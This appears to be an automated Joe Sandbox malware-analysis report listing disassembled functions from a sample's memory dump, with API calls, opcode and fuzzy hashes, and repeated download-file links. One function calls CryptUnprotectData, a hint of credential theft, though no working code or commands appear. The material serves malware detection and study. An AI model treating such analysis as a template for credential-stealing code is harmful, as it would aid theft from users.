Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 9edfeadedf7116bbb71736a5ec7140ddbb1ba25c7b5ceca93f5c8c42119600b6
Instruction ID: abb2522baa352b03ee18435a3ddb9ff8751aee81601f36bf2160db9f20d04bbc
Opcode Fuzzy Hash: 9edfeadedf7116bbb71736a5ec7140ddbb1ba25c7b5ceca93f5c8c42119600b6
Instruction Fuzzy Hash: 5F1118B2904118ABCB149FC9E945BBEB7F8FB48B12F10411EF615A2284E27D5940DBB0

Function 00FC7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00DEDE48,00000000,?,00FD0E10,00000000,?,00000000,00000000), ref: 00FC7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00DEDE48,00000000,?,00FD0E10,00000000,?,00000000,00000000,?), ref: 00FC7A7D
wsprintfA.USER32 ref: 00FC7AB7

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 847390a7aaf17ea5a6bef17092cadc7def10044efae10b7620163568e96266b4
Instruction ID: 1d26a461e3dad02a6200a9d6a5d330df98c7769959729deab5526af30c5972da
Opcode Fuzzy Hash: 847390a7aaf17ea5a6bef17092cadc7def10044efae10b7620163568e96266b4
Instruction Fuzzy Hash: 4F11CEB1905218EBEB209B54DD4AFA9B778FB40721F0003AAE91A932C0D7785E80CF51

Function 0139495D Relevance: 5.4, Strings: 3, Instructions: 1650COMMON

Download Yara Rule

Strings

8/U^, xrefs: 01394B8E
`&~o, xrefs: 013951CF
'/w, xrefs: 01394DA1

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '/w$8/U^$`&~o
API String ID: 0-3578237245
Opcode ID: f48ebf5990ab7d2c3ca27733ed6b1de0fc2d8f35634134b52c2bfb519e19c562
Instruction ID: c0400d7b092660f0e5959f04849372eb035db8a1d2ee9800ef39bfab977ccc5b
Opcode Fuzzy Hash: f48ebf5990ab7d2c3ca27733ed6b1de0fc2d8f35634134b52c2bfb519e19c562
Instruction Fuzzy Hash: 0DB24AF3A0C2149FE3046E2DEC8567ABBE9EF94320F1A493DEAC4D7744E93558048697

Function 01399A11 Relevance: 5.4, Strings: 3, Instructions: 1618COMMON

Download Yara Rule

Strings

n"{[, xrefs: 0139A228
co, xrefs: 0139AA75
IPW, xrefs: 01399C51

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: IPW$n"{[$co
API String ID: 0-2021754632
Opcode ID: a90cf6ee601b705b5783da4630246348772737dc08a73d5a8151e9b0fd5470f5
Instruction ID: bb6bb217ccea7c9fa653d6c5581c64939232e75d20e8448f30d76d28ba033870
Opcode Fuzzy Hash: a90cf6ee601b705b5783da4630246348772737dc08a73d5a8151e9b0fd5470f5
Instruction Fuzzy Hash: DBB227F360C2009FE308AE29DC9567AFBE9EF94320F16853DEAC5C7744EA3558018796

Function 0139CF04 Relevance: 5.4, Strings: 3, Instructions: 1612COMMON

Download Yara Rule

Strings

m}, xrefs: 0139D23F
oj, xrefs: 0139DEE2
%?{, xrefs: 0139D978

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: oj$%?{$m}
API String ID: 0-2207495541
Opcode ID: 8a59c3dae3f210606e7bd0afe4dee5086f5b9e1ae921c59cfd6f46bf5d589eff
Instruction ID: f917f3113629ba1abb87c19c51506def9054ad3761e75d364c3eba963029b708
Opcode Fuzzy Hash: 8a59c3dae3f210606e7bd0afe4dee5086f5b9e1ae921c59cfd6f46bf5d589eff
Instruction Fuzzy Hash: E0B215F3A0C2049FE704AE2DDC8567ABBE5EF94320F1A493DEAC5C3744E63598118697

Function 00FC3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00FCE118,00000000,00000001,00FCE108,00000000), ref: 00FC3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00FC37B0

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 3fee4f85101735891f15b6fe2eb5a50996a08631f0d8e4736030fc5681a33f2a
Instruction ID: 13c2001ec7d0fb49eb898b13b22927a8e553bc26dbcc49ec22175522bb666751
Opcode Fuzzy Hash: 3fee4f85101735891f15b6fe2eb5a50996a08631f0d8e4736030fc5681a33f2a
Instruction Fuzzy Hash: F2410771A00A289FDB24DB58CC85F9BB7B4BB48302F4081D8E608A72D0D771AEC5CF50

Function 00FB9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FB9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00FB9BA3
LocalFree.KERNEL32(?), ref: 00FB9BD3

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 70724de9d9be9b42b2273efc95cc51bac89d6d126c342ea9aa103cb7f72ba91d
Instruction ID: 669d051cdb161eaf0b57b177ff26e6f7fff5f0cf4a3428b7ae5e1e5d30f70f07
Opcode Fuzzy Hash: 70724de9d9be9b42b2273efc95cc51bac89d6d126c342ea9aa103cb7f72ba91d
Instruction Fuzzy Hash: 4511BAB8A00209DFCB04DFA4D985AAE77B5FF88300F1085A8E91597354D774AE50CF61

Function 01392EA0 Relevance: 4.0, Strings: 2, Instructions: 1543COMMON

Download Yara Rule

Strings

nLY^, xrefs: 013931AC
H%mk, xrefs: 0139371B

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: H%mk$nLY^
API String ID: 0-3407211649
Opcode ID: 75ec0b0bc14897c11e33591bb3ec0fbc393f664b2000c224298b402936838e64
Instruction ID: e9e2af809dfdb718a398835e73bd200560c358d66cc44907b0fa4ea0dfc68184
Opcode Fuzzy Hash: 75ec0b0bc14897c11e33591bb3ec0fbc393f664b2000c224298b402936838e64
Instruction Fuzzy Hash: 18B2D1F3A0C2109FE304AE29DC8567EFBE5EF94720F16892DE6C487744EA3558418B97

Function 01308F69 Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

E x, xrefs: 0130907A
P|L), xrefs: 013091EF
1{O, xrefs: 01309082

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1{O$E x$P|L)
API String ID: 0-300466160
Opcode ID: 5759536be890d015265aab73ae51b3ec1dbbbd1d5b0a358413a92f2f72167870
Instruction ID: 684f657cedf7d457444e6337b1d4d7831707d2767814abc5b238e3115ec714b0
Opcode Fuzzy Hash: 5759536be890d015265aab73ae51b3ec1dbbbd1d5b0a358413a92f2f72167870
Instruction Fuzzy Hash: E16108F3E186144FE7106E2DEC85766BADAEBD4310F1A863DEAC887344E9395C058292

Function 0139EFCE Relevance: 2.4, Strings: 1, Instructions: 1167COMMON

Download Yara Rule

Strings

R3[Z, xrefs: 0139F938

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: R3[Z
API String ID: 0-3030155145
Opcode ID: 5488d57a1df3fee258fe7d734b7c3dec54620fb25e0df943a6fb885262f00af4
Instruction ID: 65a3c234d4a6b45b953eaf24adc0cb79b2f4ec02e94772e2849ea24fb0f44057
Opcode Fuzzy Hash: 5488d57a1df3fee258fe7d734b7c3dec54620fb25e0df943a6fb885262f00af4
Instruction Fuzzy Hash: E0720AF3A0C6009FE704AE2DEC8566AFBE5EF94720F16853DE6C4C7344EA3598058697

Function 012321D7 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

p[, xrefs: 01232275

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: p[
API String ID: 0-3533522376
Opcode ID: 7b13a7b8695a44f78c25e1d5af9dcb0c1615113ea748b69172660c2e6cc30a40
Instruction ID: e3c5dae4615444fc922bdc037e96a71d2f8f238154546f2216295a6b873b5068
Opcode Fuzzy Hash: 7b13a7b8695a44f78c25e1d5af9dcb0c1615113ea748b69172660c2e6cc30a40
Instruction Fuzzy Hash: 695169F3A041149FF3086A38DC5A77ABBDAE795320F17463DEA89D7BC4E9395C018285

Function 013C97A0 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

#%o, xrefs: 013C980A

Memory Dump Source

Source File: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #%o
API String ID: 0-4121113136
Opcode ID: 7b03818651e540b115db61428e679bff0886d6bc86025d617211b26901bc2de0
Instruction ID: 7696415b28b0f6b4baafa120fe0a2e45710ff13c4998694ffac25ce337071314
Opcode Fuzzy Hash: 7b03818651e540b115db61428e679bff0886d6bc86025d617211b26901bc2de0
Instruction Fuzzy Hash: 1651F3B650C70DDFE709AE14DC8177AB7E8EB54B18F06492DD6D287B40EA3558408747

Function 0137C1A9 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0efcd2fec72845a4164a55d74dce1e2933db7855fd2e4470814ebfb4d2860b
Instruction ID: 38b2b360d3c07ee024a49ea4833566f9c4f4767e75331271523c12e19aab019b
